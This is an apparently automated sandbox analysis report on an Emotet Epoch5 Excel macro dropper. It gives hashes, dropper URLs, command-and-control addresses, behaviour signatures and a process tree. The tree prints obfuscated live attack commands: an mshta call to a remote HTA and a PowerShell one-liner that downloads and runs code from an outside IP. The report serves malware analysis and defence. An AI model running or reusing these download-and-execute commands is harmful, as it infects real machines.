Analysis

  • max time kernel
    120s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/01/2022, 05:56

General

  • Target

    4270154906075350.xlsm

  • Size

    49KB

  • MD5

    cd7a6da12697f937963a4364a85aad3d

  • SHA1

    497f9465dc7bc3e7a14d1e7b97ffa74414805eb3

  • SHA256

    6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a

  • SHA512

    9f0652b62aa8a3cb3bd4cb306ec4c76d5f45ff99d7ad901b97c398d569e355c3af61780a8d9a8cc89db326ce8edbb98b129d2b1d1faa3310701a093fa9d6dde8

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4270154906075350.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1880
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe1.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:280
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:984
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1472
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1344
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1632
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gezse\wpdsfisfgsneb.rcr",udYZr
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1196
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gezse\wpdsfisfgsneb.rcr",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:560

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/560-96-0x0000000000410000-0x0000000000438000-memory.dmp

          Filesize

          160KB

        • memory/560-114-0x0000000002FF1000-0x0000000003015000-memory.dmp

          Filesize

          144KB

        • memory/560-112-0x0000000002CD0000-0x0000000002CF8000-memory.dmp

          Filesize

          160KB

        • memory/560-110-0x0000000002AC0000-0x0000000002AE8000-memory.dmp

          Filesize

          160KB

        • memory/560-108-0x00000000029C0000-0x00000000029E8000-memory.dmp

          Filesize

          160KB

        • memory/560-106-0x0000000002960000-0x0000000002988000-memory.dmp

          Filesize

          160KB

        • memory/560-104-0x0000000002730000-0x0000000002758000-memory.dmp

          Filesize

          160KB

        • memory/560-98-0x0000000001CE0000-0x0000000001D08000-memory.dmp

          Filesize

          160KB

        • memory/560-94-0x00000000002D0000-0x00000000002F8000-memory.dmp

          Filesize

          160KB

        • memory/984-61-0x0000000002410000-0x000000000305A000-memory.dmp

          Filesize

          12.3MB

        • memory/984-62-0x0000000002410000-0x000000000305A000-memory.dmp

          Filesize

          12.3MB

        • memory/1196-91-0x00000000001C0000-0x00000000001E8000-memory.dmp

          Filesize

          160KB

        • memory/1344-69-0x0000000000220000-0x0000000000248000-memory.dmp

          Filesize

          160KB

        • memory/1632-86-0x00000000026C0000-0x00000000026E8000-memory.dmp

          Filesize

          160KB

        • memory/1632-89-0x0000000002930000-0x0000000002958000-memory.dmp

          Filesize

          160KB

        • memory/1632-84-0x0000000002540000-0x0000000002568000-memory.dmp

          Filesize

          160KB

        • memory/1632-82-0x0000000000B00000-0x0000000000B28000-memory.dmp

          Filesize

          160KB

        • memory/1632-80-0x00000000009E0000-0x0000000000A18000-memory.dmp

          Filesize

          224KB

        • memory/1632-76-0x00000000000F0000-0x0000000000118000-memory.dmp

          Filesize

          160KB

        • memory/1880-53-0x000000002F661000-0x000000002F664000-memory.dmp

          Filesize

          12KB

        • memory/1880-54-0x0000000071BB1000-0x0000000071BB3000-memory.dmp

          Filesize

          8KB

        • memory/1880-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1880-56-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

          Filesize

          8KB

        • memory/1880-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB